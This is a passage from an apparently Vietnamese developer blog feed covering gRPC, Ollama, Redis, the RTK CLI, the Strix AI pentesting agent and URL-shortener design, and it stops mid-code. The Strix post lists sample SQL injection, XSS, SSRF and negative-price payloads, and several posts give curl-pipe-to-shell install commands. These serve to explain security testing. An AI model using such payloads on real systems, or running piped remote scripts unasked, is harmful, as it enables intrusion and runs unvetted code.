package user;

service UserService {
  rpc GetUser (GetUserRequest) returns (User);
  rpc SearchUsers (SearchRequest) returns (stream User);
}

message GetUserRequest { string id = 1; }
message SearchRequest { string query = 1; }

message User {
  string id = 1;
  string name = 2;
  string email = 3;
  int32 age = 4;
}

Generate Code

protoc --go_out=. --go-grpc_out=. user.proto
# Sinh ra user.pb.go và user_grpc.pb.go

Server (Go)

type server struct {
    pb.UnimplementedUserServiceServer
    db map[string]*pb.User
}

func (s *server) GetUser(ctx context.Context, req *pb.GetUserRequest) (*pb.User, error) {
    user, ok := s.db[req.Id]
    if !ok {
        return nil, status.Errorf(codes.NotFound, "user not found")
    }
    return user, nil
}

func (s *server) SearchUsers(req *pb.SearchRequest, stream pb.UserService_SearchUsersServer) error {
    for _, user := range s.db {
        if strings.Contains(user.Name, req.Query) {
            if err := stream.Send(user); err != nil {
                return err
            }
        }
    }
    return nil
}

Client (Go)

conn, _ := grpc.Dial("localhost:50051", grpc.WithTransportCredentials(insecure))
defer conn.Close()

client := pb.NewUserServiceClient(conn)

// Unary call
user, err := client.GetUser(ctx, &pb.GetUserRequest{Id: "123"})

// Streaming call
stream, _ := client.SearchUsers(ctx, &pb.SearchRequest{Query: "Alice"})
for {
    user, err := stream.Recv()
    if err == io.EOF { break }
    fmt.Println(user.Name)
}

Client (Node.js)

const client = new proto.UserService('localhost:50051', grpc.credentials.createInsecure())

// Unary
client.getUser({ id: '123' }, (err, user) => {
  console.log(user.name)
})

// Streaming
const call = client.searchUsers({ query: 'Alice' })
call.on('data', user => console.log(user.name))
call.on('end', () => console.log('done'))

So Sánh API Trilogy

| Tiêu chí | REST | GraphQL | gRPC | |---|---|---|---| | Format | JSON (text) | JSON (text) | Protobuf (binary) | | Giao thức | HTTP/1.1 | HTTP/1.1 hoặc 2 | HTTP/2 | | Schema | Không (hoặc OpenAPI) | Có (SDL) | Có (proto) bắt buộc | | Code gen | Thủ công hoặc OpenAPI | Gen từ schema | Gen từ proto | | Streaming | Server-Sent Events | Subscription | Bidirectional | | Browser support | Native | Native | Cần grpc-web hoặc proxy | | Payload size | Lớn (JSON) | Trung bình | Nhỏ (binary) | | Tốc độ encode | Chậm | Trung bình | Nhanh | | Học | Thấp | Trung bình | Cao (proto + HTTP/2) | | Công cụ | curl, Postman | Playground | grpcurl, Postman |

Khi Nào Dùng Cái Nào?

gRPC — internal microservices communication

Service-to-service: latency sensitive, throughput cao
Streaming data: real-time feed, chat, log shipping
Polyglot environment: nhiều ngôn ngữ, cần code gen
Ví dụ: Netflix, Uber, Spotify dùng gRPC cho internal traffic

REST — external/public API

Browser/ mobile app gọi API
Third-party integration
Cần caching (HTTP cache)
Developer familiarity (curl, Postman, mọi người đều biết)

GraphQL — complex data fetching

Nhiều client khác nhau cần data khác nhau
Frontend team muốn tự do select fields
Dashboard, mobile app với nhiều màn hình

Pattern Phổ Biến

[Browser/Mobile] → REST/GraphQL → [API Gateway] → gRPC → [Microservices]

Netflix, Spotify, Mercari đều dùng pattern này. Bên ngoài là REST/GraphQL, bên trong là gRPC.

gRPC Trong Thực Tế

Netflix — 10,000+ services nói chuyện với nhau qua gRPC, xử lý hàng tỷ request/ngày.

Spotify — thay thế in-house RPC framework Hermes bằng gRPC + Envoy, giảm độ phức tạp vận hành.

Uber — dùng gRPC cho toàn bộ internal traffic, với Envoy làm sidecar proxy.

Cloudflare — hỗ trợ gRPC over HTTP/3 (QUIC) trên CDN, giảm latency 47% trên mobile network.

Giới Hạn

Browser support: gRPC-Web cần proxy (Envoy) hoặc grpc-web client
Không dùng curl: Cần grpcurl hoặc Postman
Human-readable: Protobuf binary, cần tool để decode
Load balancing: HTTP/2 multiplexing phải được hỗ trợ bởi LB
HTTP/3: Còn experimental cho gRPC, chưa production-ready

Kết Luận

REST và GraphQL không sai — nhưng chúng sinh ra cho client-server communication. gRPC sinh ra cho service-to-service.

Nếu bạn đang xây dựng hệ thống microservices, đặc biệt với nhiều ngôn ngữ khác nhau, gRPC là lựa chọn tối ưu: Protobuf nhỏ hơn JSON 10x, HTTP/2 multiplexing, bidirectional streaming, code gen tự động.

API Gateway nhận REST/GraphQL từ frontend, chuyển thành gRPC cho internal services — đó là kiến trúc đang chạy ở Netflix, Uber, Spotify, và hàng ngàn công ty khác.

Tài liệu tham khảo

Chạy AI Local Với Ollama — Hướng Dẫn Từ A Đến Z

Wed, 01 Jul 2026 00:00:00 GMT

Chạy AI trên cloud tiện — nhưng có ba vấn đề: tốn phí theo request, rate limit, và dữ liệu nhạy cảm phải gửi lên server người khác. Ollama giải quyết tất cả: một tool mã nguồn mở cho phép bạn chạy LLM hoàn toàn trên máy mình, không internet, không API key, không giới hạn.

Ollama Là Gì?

Ollama là runtime mã nguồn mở (95k+ sao GitHub) để tải, quản lý và chạy LLM local. Think of it như Docker cho AI models — một lệnh pull, một lệnh run, và bạn đang chat với Llama 3, Mistral, Qwen, Gemma ngay trên terminal.

ollama pull llama3.2
ollama run llama3.2
>>> viết một bài thơ về Rust

Sau lần tải đầu tiên, không cần internet. Model chạy hoàn toàn trên CPU hoặc GPU của bạn.

Tại Sao Nên Chạy AI Local?

| Vấn đề | Cloud API | Ollama (local) | |---|---|---| | Chi phí | Theo token, có thể $100-1000/tháng | 0đ — chỉ tốn điện | | Privacy | Gửi dữ liệu lên server bên thứ ba | 100% local | | Rate limit | Có (requests/phút) | Không | | Offline | Không | Có | | Latency | ~500ms-2s (network) | ~50ms-200ms (GPU) |

Cài Đặt

macOS

brew install ollama

Linux

curl -fsSL https://ollama.com/install.sh | sh

Windows

Tải installer từ ollama.com/download. Hỗ trợ native Windows (không cần WSL2).

Docker

docker run -d -p 11434:11434 --name ollama ollama/ollama

Sau cài đặt, Ollama chạy ngầm và expose REST API tại http://localhost:11434.

Tải Và Chạy Model

Các Lệnh Cơ Bản

# Liệt kê model có sẵn
ollama list

# Tải model
ollama pull llama3.2 # 3B params, ~2GB
ollama pull mistral # 7B params, ~4GB
ollama pull qwen2.5:7b # 7B params, ~4.5GB
ollama pull gemma3:12b # 12B params, ~8GB

# Chạy interactive chat
ollama run llama3.2

# Chạy một câu hỏi
ollama run mistral "giải thích blockchain trong 2 câu"

# Xoá model
ollama rm llama3.2

Chọn Model Nào?

| Model | Tham số | RAM | Chất lượng | Dùng cho | |---|---|---|---|---| | Llama 3.2 | 3B | ~2GB | Tốt | General, coding cơ bản | | Mistral | 7B | ~4GB | Khá | General, hỗ trợ tool calling | | Qwen 2.5 | 7B-32B | ~4-20GB | Rất tốt | Coding mạnh, đa ngôn ngữ | | Gemma 3 | 12B-27B | ~8-18GB | Xuất sắc | General, reasoning | | DeepSeek R1 | 7B-70B | ~4-43GB | Tốt nhất | Reasoning, toán, code | | Phi-4 | 14B | ~9GB | Tốt | Code, nhẹ hơn cùng size |

Rule of thumb: máy 8GB RAM chạy 7B model, 16GB chạy 14B-32B, 32GB+ chạy 70B.

REST API

Ollama expose API tại localhost:11434. Hai interface:

Native API

# Chat
curl http://localhost:11434/api/chat \
  -d '{"model":"mistral","messages":[{"role":"user","content":"Xin chào"}]}'

OpenAI-Compatible API

Ollama hỗ trợ endpoint /v1/chat/completions tương thích hoàn toàn với OpenAI SDK. Chỉ cần đổi base_url:

from openai import OpenAI

client = OpenAI(
    base_url="http://localhost:11434/v1",
    api_key="ollama"  # SDK yêu cầu, Ollama bỏ qua
)

response = client.chat.completions.create(
    model="mistral",
    messages=[{"role": "user", "content": "Giải thích async/await trong JavaScript"}]
)

print(response.choices[0].message.content)

Lợi ích: mọi code đang dùng OpenAI API có thể chạy local chỉ bằng đổi base_url. LangChain, LlamaIndex, AutoGen đều hoạt động.

Tích Hợp Python

Dùng thư viện chính thức

pip install ollama

import ollama

response = ollama.chat(model='mistral', messages=[
    {'role': 'user', 'content': 'Viết một function Python tính Fibonacci'}
])

print(response['message']['content'])

Streaming

stream = ollama.chat(model='mistral', messages=[
    {'role': 'user', 'content': 'Kể chuyện dài 100 từ'}
], stream=True)

for chunk in stream:
    print(chunk['message']['content'], end='', flush=True)

Structured Output (JSON)

response = ollama.chat(model='qwen2.5', messages=[
    {'role': 'user', 'content': 'Liệt kê 3 ngôn ngữ lập trình phổ biến'}
], format='json')

Xây Dựng Local RAG

Ollama + ChromaDB = RAG pipeline hoàn toàn local:

import ollama
import chromadb

# Tạo embedding local
embedding = ollama.embeddings(model='nomic-embed-text', prompt='Nội dung cần index')

# Lưu vào ChromaDB
chroma_client = chromadb.Client()
collection = chroma_client.create_collection("docs")
collection.add(
    embeddings=[embedding['embedding']],
    documents=["Nội dung tài liệu"],
    ids=["doc_1"]
)

# Query
results = collection.query(
    query_embeddings=[ollama.embeddings(
        model='nomic-embed-text', prompt='Câu hỏi'
    )['embedding']],
    n_results=3
)

# Generate với context
context = "\n".join(results['documents'][0])
response = ollama.chat(model='mistral', messages=[
    {'role': 'system', 'content': f'Trả lời dựa trên context:\n{context}'},
    {'role': 'user', 'content': 'Câu hỏi'}
])

Cấu Hình Quan Trọng

# Bind ra tất cả interface (để dùng từ máy khác)
OLLAMA_HOST=0.0.0.0:11434 ollama serve

# Giữ model resident, không unload
OLLAMA_KEEP_ALIVE=-1 ollama serve

# Parallel requests
OLLAMA_NUM_PARALLEL=4 ollama serve

# Flash attention (giảm RAM, tăng tốc)
OLLAMA_FLASH_ATTENTION=1 ollama serve

# Context window lớn hơn
OLLAMA_CONTEXT_LENGTH=16384 ollama serve

Ollama Với AI Coding Agent

Ollama hoạt động như backend cho hầu hết AI coding tools nhờ OpenAI-compatible API:

# OpenCode
opencode --model ollama:mistral

# Continue.dev (VS Code)
# config.json: { "models": [{ "provider": "ollama", "model": "mistral" }] }

# Claude Code (qua proxy)
# Chỉ OLLAMA_HOST, dùng công cụ như 'ollama-serve' để convert API

Giới Hạn

Model nhỏ hơn cloud — Llama 3 70B chạy local cần 43GB RAM. GPT-4 không có bản local.
Tốc độ — GPU tầm trung (RTX 3060) đạt ~20-30 token/s cho 7B model. Cloud nhanh hơn.
Không fine-tuning — Ollama chạy pre-trained model, không train.
Tool calling — Chỉ một số model hỗ trợ (Llama 3.1+, Qwen 2.5, Mistral).

Kết Luận

Ollama là công cụ không thể thiếu cho bất kỳ ai làm việc với AI coding agent. Miễn phí, private, không rate limit — chạy trên Docker một lệnh, API tương thích OpenAI, tích hợp với mọi framework.

Cài ngay hôm nay, pull Mistral, và thử thay thế hoàn toàn cloud API cho workflow hàng ngày. Bạn sẽ ngạc nhiên vì chất lượng 7B model trên máy local.

Tài liệu tham khảo

Redis — Cache, Session, Pub/Sub, Rate Limit, Queue

Wed, 01 Jul 2026 00:00:00 GMT

Redis là in-memory data store nhanh nhất — dùng để cache, session, pub/sub, queue, rate limiting. Đa năng hơn bạn nghĩ.

Data Structures

String — Cache Cơ Bản

SET user:123 '{"name":"Alice"}' EX 3600
GET user:123
INCR page:views
INCRBY counter 5

List — Queue / Stack

# Queue (FIFO)
LPUSH notifications:user_123 "New message"
RPOP notifications:user_123

# Stack (LIFO)
LPUSH stack:actions "action1"
LPOP stack:actions

# Range
LRANGE messages:room_abc 0 -1 # Tất cả

Set — Unique Items

SADD post:42:likes user_123
SADD post:42:likes user_456
SCARD post:42:likes # 2
SISMEMBER post:42:likes user_123 # 1 (true)
SINTER post:42:likes post:99:likes # Intersection

Sorted Set — Leaderboard

ZADD leaderboard 1000 "player_1"
ZADD leaderboard 2500 "player_2"
ZADD leaderboard 1500 "player_3"

ZREVRANGE leaderboard 0 2 WITHSCORES # Top 3
ZRANK leaderboard player_2 # Rank
ZINCRBY leaderboard 500 player_1 # +500 điểm

Hash — Object

HSET user:123 name "Alice" email "alice@example.com" age 30
HGET user:123 name
HGETALL user:123
HINCRBY user:123 age 1

Caching Patterns

Cache Aside (Phổ biến nhất)

async function getUser(id: number) {
  // 1. Check cache
  const cached = await redis.get(`user:${id}`);
  if (cached) return JSON.parse(cached);

  // 2. Cache miss → query DB
  const user = await db.user.findUnique({ where: { id } });

  // 3. Set cache
  if (user) {
    await redis.setex(`user:${id}`, 3600, JSON.stringify(user));
  }

  return user;
}

Cache Penetration — Khi Data Không Tồn Tại

async function getUser(id: number) {
  const cached = await redis.get(`user:${id}`);

  // Cache empty value cho key không tồn tại
  if (cached === 'NULL') return null;
  if (cached) return JSON.parse(cached);

  const user = await db.user.findUnique({ where: { id } });
  if (!user) {
    await redis.setex(`user:${id}`, 300, 'NULL'); // Cache 5 phút
    return null;
  }

  await redis.setex(`user:${id}`, 3600, JSON.stringify(user));
  return user;
}

Cache Breakdown — Khi Key Hết Hạn

Dùng mutex lock — chỉ một request được query DB:

async function getHotData() {
  const cached = await redis.get('hot:data');
  if (cached) return JSON.parse(cached);

  // Lock — chỉ một request query DB
  const lock = await redis.setnx('lock:hot:data', '1');
  if (lock) {
    await redis.expire('lock:hot:data', 5);
    const data = await expensiveQuery();
    await redis.setex('hot:data', 60, JSON.stringify(data));
    await redis.del('lock:hot:data');
    return data;
  }

  // Wait và retry
  await sleep(100);
  return getHotData();
}

Cache Stampede — Preload Trước Khi Hết Hạn

async function getConfig() {
  const TTL = 3600;
  const cached = await redis.get('app:config');

  if (cached) {
    const ttl = await redis.ttl('app:config');
    // Sắp hết hạn? Refresh async
    if (ttl < 300) {
      refreshConfig(); // Không await
    }
    return JSON.parse(cached);
  }

  return refreshConfig();
}

async function refreshConfig() {
  const config = await db.config.findMany();
  await redis.setex('app:config', 3600, JSON.stringify(config));
  return config;
}

Session Store

import session from 'express-session';
import RedisStore from 'connect-redis';

app.use(session({
  store: new RedisStore({ client: redis }),
  secret: process.env.SESSION_SECRET!,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: true,
    maxAge: 24 * 60 * 60 * 1000, // 24h
  },
}));

Pub/Sub — Real-time Message

// Publisher
await redis.publish('channel:notifications', JSON.stringify({
  type: 'order.created',
  orderId: 123,
  userId: 456,
}));

// Subscriber
const subscriber = redis.duplicate();
await subscriber.subscribe('channel:notifications', (message) => {
  const event = JSON.parse(message);
  console.log('Received:', event);
  // Gửi WebSocket cho user, send email, etc.
});

Rate Limiting — Sliding Window

async function checkRateLimit(key: string, limit: number, windowSec: number) {
  const now = Date.now();
  const windowStart = now - windowSec * 1000;

  const multi = redis.multi();
  multi.zRemRangeByScore(key, 0, windowStart); // Xoá entries cũ
  multi.zCard(key);                              // Đếm entries
  multi.zAdd(key, { score: now, value: `${now}` });
  multi.expire(key, windowSec);

  const results = await multi.exec();
  const count = results[1][1] as number;

  return {
    allowed: count <= limit,
    remaining: Math.max(0, limit - count),
    resetAt: Math.ceil((windowStart + windowSec * 1000) / 1000),
  };
}

// Usage
app.use('/api/auth', async (req, res, next) => {
  const { allowed, remaining } = await checkRateLimit(req.ip, 10, 60);
  res.set('X-RateLimit-Remaining', remaining.toString());

  if (!allowed) {
    return res.status(429).json({ error: 'Too many requests' });
  }
  next();
});

Distributed Lock

async function withLock<T>(key: string, ttl: number, fn: () => Promise<T>): Promise<T> {
  const lockKey = `lock:${key}`;
  const lockValue = crypto.randomUUID();

  const acquired = await redis.set(lockKey, lockValue, 'PX', ttl, 'NX');
  if (!acquired) {
    throw new Error('Could not acquire lock');
  }

  try {
    return await fn();
  } finally {
    // Lua script — atomic unlock
    const script = `
      if redis.call("get", KEYS[1]) == ARGV[1] then
        return redis.call("del", KEYS[1])
      else
        return 0
      end
    `;
    await redis.eval(script, 1, lockKey, lockValue);
  }
}

// Usage
await withLock('payment:order_123', 5000, async () => {
  // Chỉ một process xử lý payment
  await processPayment(orderId);
});

Queue — BullMQ

import { Queue, Worker } from 'bullmq';

const emailQueue = new Queue('email', { connection: redis });

// Producer
await emailQueue.add('send-welcome', {
  to: 'alice@example.com',
  template: 'welcome',
  userId: 123,
}, {
  attempts: 3,
  backoff: { type: 'exponential', delay: 2000 },
});

// Consumer
const worker = new Worker('email', async (job) => {
  const { to, template } = job.data;
  await sendEmail(to, template);
  console.log(`Email sent to ${to}`);
}, { connection: redis });

worker.on('completed', (job) => console.log(`Job ${job.id} completed`));
worker.on('failed', (job, err) => console.error(`Job ${job.id} failed:`, err));

HyperLogLog — Đếm Unique

# Đếm unique visitors — chỉ dùng 12KB, sai số ~2%
PFADD page:visits:2024-01-01 ip_1 ip_2 ip_3
PFADD page:visits:2024-01-01 ip_1 ip_4
PFCOUNT page:visits:2024-01-01 # 4
PFMERGE page:visits:2024-01 page:visits:2024-01-01 page:visits:2024-01-02

Persistence

# RDB — snapshot định kỳ (mặc định)
save 900 1 # 15 phút nếu có 1 thay đổi
save 300 10 # 5 phút nếu có 10 thay đổi
save 60 10000 # 1 phút nếu có 10000 thay đổi

# AOF — log mọi write (chậm hơn nhưng an toàn hơn)
appendonly yes
appendfsync everysec # Sync mỗi giây

Kết Luận

Redis đa năng hơn "cache đơn thuần":

| Use case | Cấu trúc | |---|---| | Cache | String + TTL | | Session | String hoặc Hash | | Rate limiting | Sorted Set + ZRem | | Queue | List hoặc BullMQ | | Pub/Sub | Pub/Sub channels | | Distributed lock | String + NX + Lua | | Leaderboard | Sorted Set | | Unique counter | HyperLogLog |

Install: brew install redis hoặc Docker. Production: Redis Cluster hoặc managed (Upstash, Redis Cloud).

Tài liệu tham khảo

RTK — Rust Token Killer, Cắt Token AI Đến 90%

Wed, 01 Jul 2026 00:00:00 GMT

Mỗi lần AI coding tool chạy git status, cargo test, hay ls -la, hàng nghìn token bị lãng phí vào output thừa — comment, boilterplate, ASCII art, log trùng lặp. RTK (Rust Token Killer) giải quyết vấn đề đó: một CLI proxy nằm giữa agent và shell, lọc output ngay tại chỗ.

RTK Là Gì?

RTK là CLI proxy mã nguồn mở (67k+ sao GitHub), viết hoàn toàn bằng Rust, zero dependency runtime. Nó đứng giữa AI agent và shell command, tự động lọc và nén output trước khi agent nhìn thấy.

Agent → git status → RTK → git → output gốc (2,000 tokens)
                    ↓
              RTK filter
                    ↓
         Output đã nén (~200 tokens)

Token Tiết Kiệm Được Bao Nhiêu?

Trong một phiên Claude Code 30 phút:

| Lệnh | Gốc | RTK | Tiết kiệm | |---|---|---|---| | cat / read | 40,000 | 12,000 | -70% | | git diff | 10,000 | 2,500 | -75% | | git status | 3,000 | 600 | -80% | | cargo test / npm test | 25,000 | 2,500 | -90% | | ls / tree | 2,000 | 400 | -80% | | Tổng | ~118,000 | ~23,900 | -80% |

Cài Đặt

RTK có mặt trên Homebrew:

brew install rtk

Hoặc dùng script một lệnh:

curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh | sh

Cài qua Cargo:

cargo install --git https://github.com/rtk-ai/rtk

Kiểm tra:

rtk --version
rtk gain # Token savings stats

Cách Dùng

1. Init cho AI tool của bạn

rtk init -g # Claude Code / Copilot (mặc định)
rtk init -g --gemini # Gemini CLI
rtk init -g --agent cursor # Cursor
rtk init -g --opencode # OpenCode
rtk init --agent cline # Cline / Roo Code

Sau đó restart AI tool — mọi lệnh shell sẽ tự động chạy qua RTK.

2. Dùng trực tiếp (không cần hook)

rtk ls . # Directory tree nén
rtk read file.rs # File reading thông minh
rtk git status # Git status gọn
rtk git diff # Diff nén
rtk cargo test # Test output - failures only (-90%)
rtk pytest # Python test - failures only
rtk docker ps # Container list gọn
rtk kubectl pods # Pod list gọn

Bốn Chiến Thuật Lọc

RTK áp dụng bốn chiến thuật tuỳ theo từng loại lệnh:

Smart Filtering — Loại comment, whitespace, boilerplate
Grouping — Gộp file theo thư mục, lỗi theo loại
Truncation — Giữ context liên quan, cắt redundant
Deduplication — Gộp log lặp kèm đếm số lần

Ví dụ cargo test:

# Gốc (200+ dòng)
running 15 tests
test utils::test_parse ... ok
test utils::test_format ... ok
test services::test_login ... ok
...
test edge_case ... FAILED
test overflow ... FAILED

# RTK (~20 dòng)
FAILED: 2/15 tests
  test_edge_case: assertion failed
  test_overflow: panic at utils.rs:18

Hệ Thống Tee — Không Mất Thông Tin

Khi lệnh fail, RTK tự động lưu output gốc đầy đủ:

FAILED: 2/15 tests
[full output: ~/.local/share/rtk/tee/1707753600_cargo_test.log]

Agent vẫn có thể đọc log đầy đủ nếu cần, không mất thông tin chẩn đoán.

Hỗ Trợ 14+ AI Tool

RTK tích hợp với hầu hết AI coding tool hiện tại — Claude Code, Copilot, Cursor, Cline, Gemini CLI, OpenCode, Windsurf, Codex, Hermes, và nhiều tool khác. Dùng rtk init -g --agent <tool> để kích hoạt.

So Sánh Với Giải Pháp Khác

| Tiêu chí | RTK | Prompt thủ công | Tăng context window | |---|---|---|---| | Token savings | 60-90% | 0-20% | 0% | | Tự động | Có (hook) | Không | Không | | Chi phí | Miễn phí | 0 | Tăng bill | | Overhead | <10ms | 0 | latency cao hơn |

RTK Có Thu Thập Dữ Liệu Không?

RTK có telemetry nhưng mặc định tắt, phải opt-in. Dữ liệu thu thập là anonymous aggregate — lệnh count, token saved — không có source code, file path, hay secrets.

rtk telemetry status # Kiểm tra
rtk telemetry enable # Bật (nếu muốn)

Kết Luận

RTK là công cụ không thể thiếu nếu bạn dùng AI coding agent hàng ngày. 80% token savings đồng nghĩa với 80% chi phí rẻ hơn, context rộng hơn, phản hồi nhanh hơn — mà không cần thay đổi thói quen làm việc.

Một binary Rust, không dependency, cài 10 giây — ROI gần như ngay lập tức.

Tài liệu tham khảo

Strix — AI Hacker Mã Nguồn Mở Tự Động Tìm Lỗ Hổng Bảo Mật

Wed, 01 Jul 2026 00:00:00 GMT

Strix là dự án open-source xây dựng AI Security Agent có khả năng hoạt động giống một hacker bảo mật — phân tích ứng dụng, tìm lỗ hổng, thử khai thác, tạo Proof-of-Concept (PoC), đưa báo cáo và hướng sửa.

Nói đơn giản: Strix biến AI thành pentester tự động.

Vấn Đề Strix Giải Quyết

Developer tập trung vào tính năng, tốc độ, UX — bảo mật thường bị bỏ sót. Một API đơn giản:

GET /api/user?id=123

Developer nghĩ "lấy thông tin user". Hacker thử id=124 — nếu xem được user khác → lỗi IDOR.

Các lỗi phổ biến: SQL Injection, XSS, SSRF, Authentication bypass, Privilege escalation, Business logic bug.

Trước đây cần security engineer, pentest thủ công, bug bounty researcher — tốn thời gian, chi phí, khó làm liên tục. Strix tự động hoá quá trình này.

Strix Khác Tool Scan Truyền Thống

Tool truyền thống: Rule → Pattern → Warning (ví dụ thấy SELECT * FROM users WHERE id= + input → báo SQL Injection).

Strix: Hiểu ứng dụng → Tìm điểm yếu → Thử tấn công → Xác nhận lỗi → Tạo PoC.

Nó không chỉ nói "có thể có SQL Injection" — nó gửi payload, chạy request, chứng minh lỗi. Validation bằng khai thác thật.

AI Agent, Không Phải Chatbot

Strix có agent có khả năng đọc code, chạy ứng dụng, gọi API, thao tác browser, chạy command, viết script test, phân tích kết quả.

Với một ứng dụng web có Login, Dashboard, Payment API, Admin panel — agent có thể tự tìm endpoint, test authentication, thử bypass quyền, kiểm tra logic thanh toán, tạo báo cáo.

Kiến Trúc Multi-Agent

Nhiều AI agent phối hợp:

| Agent | Nhiệm vụ | |---|---| | Authentication | Login, JWT, session, permission | | Injection | SQL, Command Injection, XSS | | Logic | Race condition, workflow bug, business logic |

Các agent chia sẻ kết quả để tìm attack path — giống một team pentest thực thụ.

Bộ Công Cụ Hacker

HTTP Proxy — xem, sửa request, thay payload:

POST /transfer { "amount": 100 }
→ { "amount": -100 }  // test lỗi logic

Browser Automation — test login flow, UI, XSS, CSRF.

Terminal — chạy curl, python, nmap.

Python Runtime — tự viết script exploit.

Các Loại Lỗi Tìm Được

| Loại | Ví dụ | |---|---| | SQL Injection | 1 OR 1=1 → kiểm tra kết quả | | XSS | <script>alert(1)</script> | | Auth Bypass | /admin không cần login | | SSRF | /fetch?url=http://localhost/admin | | Business Logic | { "price": -100 } → tạo tiền |

Cài Đặt

Yêu cầu Docker + API key:

curl -sSL https://strix.ai/install | bash

export STRIX_LLM="openai/gpt-5.4"
export LLM_API_KEY="your-key"

Scan project:

strix --target ./my-app
strix --target https://github.com/company/project
strix --target https://example.com

CI/CD Integration

Pull Request → GitHub Actions → Strix Scan → Block nếu có lỗi

Ví dụ developer thêm eval(user_input) — Strix phát hiện Remote Code Execution risk trước khi merge.

So Sánh

| Tool | Cách hoạt động | |---|---| | SonarQube | Static analysis | | Semgrep | Rule-based pattern | | Snyk | Dependency scanning | | Strix | AI Agent pentesting (hiểu app → tấn công → verify → report) |

Ưu Điểm

Gần với pentest thật — chạy app, thử khai thác
Ít false positive — vì cố tạo PoC
Developer dễ dùng — không cần chuyên sâu security
Phù hợp AI era — code tạo nhanh, nhiều rủi ro, cần kiểm tra tự động

Hạn Chế

Phụ thuộc chất lượng model AI
Cần thời gian chạy
Không đảm bảo tìm mọi lỗi
Cần quyền hợp pháp khi scan

Kết Luận

Strix đại diện cho hướng đi mới của application security: từ Developer → Security team → Pentest chuyển thành Developer code → AI Security Agent → Fix trước production.

Với startup hoặc team nhỏ không có security engineer riêng, Strix là công cụ đáng chú ý — biến AI thành "hacker ảo" chạy liên tục trong quy trình phát triển.

Tài liệu tham khảo

System Design — Thiết Kế URL Shortener Từ A Đến Z

Wed, 01 Jul 2026 00:00:00 GMT

Thiết kế URL shortener là bài toán kinh điển trong phỏng vấn system design. Nó tưởng đơn giản — nhưng ẩn chứa nhiều vấn đề thú vị: làm sao sinh short code duy nhất? Làm sao handle 10 tỷ URL? Cache thế nào? Redirect loại nào?

Bài này thiết kế một URL shortener từ yêu cầu đến implementation.

Yêu Cầu

Functional

Tạo short URL từ long URL
Redirect short URL → long URL
Optional: custom alias, expiry, analytics

Non-Functional

Highly available: Không downtime
Low latency: Redirect < 10ms
Scale: 100M URLs/month, 10K writes/sec, 100K reads/sec

Estimations

| Metric | Value | |---|---| | Writes | 100M / tháng ≈ 38 / sec | | Reads | 100× writes ≈ 3800 / sec → peak 10K / sec | | Storage | 100M × 500 bytes ≈ 50 GB / năm | | Bandwidth | Write: 38 × 500B ≈ 19 KB/s, Read: 3800 × 500B ≈ 1.9 MB/s |

Thiết Kế

                          ┌─────────────┐
                          │   Client     │
                          └──────┬──────┘
                                 │
                          ┌──────┴──────┐
                          │  Load Balancer │
                          └──────┬──────┘
                                 │
                    ┌────────────┴────────────┐
                    │    Web Server (stateless) │
                    └────────────┬────────────┘
                                 │
              ┌──────────────────┼──────────────────┐
              │                  │                   │
         ┌────┴────┐      ┌────┴────┐       ┌──────┴──────┐
         │  Redis   │      │  DB     │       │  Analytics   │
         │  Cache   │      │Primary  │       │  (async)     │
         └─────────┘      └────┬────┘       └─────────────┘
                               │
                         ┌────┴────┐
                         │  DB     │
                         │Replicas │
                         └─────────┘

Base62 — Short Code

Short code cần: duy nhất, ngắn, URL-safe. Giải pháp: Base62 (a-z, A-Z, 0-9).

| Số ký tự | Số lượng URL | |---|---| | 6 | 62⁶ ≈ 56 tỷ | | 7 | 62⁷ ≈ 3,500 tỷ | | 8 | 62⁸ ≈ 218,000 tỷ |

7 ký tự đủ cho hầu hết hệ thống.

Cách 1: Hash + Collision

Hash MD5 long URL, lấy 7 ký tự đầu, check collision.

import hashlib, base62

def generate_short_code(long_url: str) -> str:
    hash_bytes = hashlib.md5(long_url.encode()).digest()
    return base62.encode(int.from_bytes(hash_bytes[:7], 'big'))

Ưu: deterministic (cùng URL → cùng code), không cần DB để sinh. Nhược: collision rate cao khi scale.

Cách 2: Distributed ID + Base62

Sinh unique ID từ distributed ID generator (Snowflake, Redis incr, PostgreSQL sequence), chuyển sang Base62.

import base62

def generate_short_code(db):
    # Redis INCR hoặc database sequence
    next_id = db.incr('url_counter')
    return base62.encode(next_id)

# Chuyển ID → Base62
BASE62 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

def encode_base62(num: int) -> str:
    if num == 0: return BASE62[0]
    chars = []
    while num > 0:
        num, rem = divmod(num, 62)
        chars.append(BASE62[rem])
    return ''.join(reversed(chars))

# encode_base62(123456789) → "8m0Kx" (6 ký tự)

Ưu: không collision, đơn giản. Nhược: cần central ID generator.

Database Schema

CREATE TABLE urls (
    id BIGSERIAL PRIMARY KEY,
    short_code VARCHAR(10) UNIQUE NOT NULL,
    long_url TEXT NOT NULL,
    user_id BIGINT,
    custom_alias VARCHAR(20),
    expires_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT NOW(),
    updated_at TIMESTAMP DEFAULT NOW()
);

CREATE INDEX idx_short_code ON urls(short_code);

-- Analytics (separate DB hoặc Kafka → ClickHouse)
CREATE TABLE clicks (
    id BIGSERIAL PRIMARY KEY,
    short_code VARCHAR(10) NOT NULL,
    clicked_at TIMESTAMP DEFAULT NOW(),
    ip_address INET,
    user_agent TEXT,
    referer TEXT,
    country VARCHAR(2)
);

CREATE INDEX idx_clicks_code ON clicks(short_code, clicked_at);

API Design

Create short URL

POST /api/shorten
Content-Type: application/json

{
  "long_url": "https://example.com/very/long/url",
  "custom_alias": "",      // optional
  "expires_in_days": 30    // optional
}

Response: 201
{
  "short_url": "https://short.ly/abc1234",
  "short_code": "abc1234",
  "expires_at": "2026-07-31T10:00:00Z"
}

Redirect

GET /abc1234

Response: 301 (permanent) hoặc 302 (temporary)
Location: https://example.com/very/long/url

301 vs 302

| Status | Ý nghĩa | Cache | Khi nào dùng | |---|---|---|---| | 301 | Moved Permanently | Browser cache | Long URL cố định, không cần analytics | | 302 | Found | Không cache | Cần analytics (bitly pattern) |

Bitly dùng 302 để track mỗi lần click. Nếu dùng 301, browser cache redirect → không gọi server → mất analytics.

Caching

Cache Strategy

Read:   GET short_code → check Redis → nếu miss → query DB → set Redis → redirect
Write:  POST long_url → sinh code → insert DB → set Redis

import redis

r = redis.Redis(host='localhost', port=6379, decode_responses=True)

def get_long_url(short_code: str) -> str | None:
    # Check cache
    long_url = r.get(f"url:{short_code}")
